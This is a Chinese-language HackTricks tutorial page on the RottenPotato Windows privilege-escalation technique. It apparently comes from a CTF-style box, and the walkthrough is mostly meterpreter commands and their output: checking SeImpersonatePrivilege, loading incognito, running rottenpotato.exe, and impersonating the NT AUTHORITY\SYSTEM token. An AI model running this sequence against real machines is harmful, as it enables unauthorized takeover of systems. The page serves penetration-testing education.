hacktricks/windows-hardening/windows-local-privilege-escalation/rottenpotato.md

4.6 KiB
Raw Blame History

RottenPotato

通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击

支持HackTricks的其他方式

此页面信息摘自此帖子

服务账户通常具有特殊权限SeImpersonatePrivileges这可以用来提升权限。

https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

我不会详细介绍这个漏洞是如何工作的,上面的文章比我能说的更清楚。

让我们用meterpreter检查我们的权限

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege

很好,看起来我们拥有执行攻击所需的权限。让我们上传 rottenpotato.exe

回到我们的 meterpreter 会话,我们加载 incognito 扩展。

meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah

Impersonation Tokens Available
========================================
No tokens available

我们可以看到我们目前没有模拟令牌。让我们运行Rotten Potato漏洞利用程序。

meterpreter > execute -f rottenpotato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM

我们需要迅速模仿令牌,否则它将消失。

meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

成功我们已经获得了SYSTEM权限的shell并且可以获取root.txt文件

从零开始学习AWS黑客技术成为 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式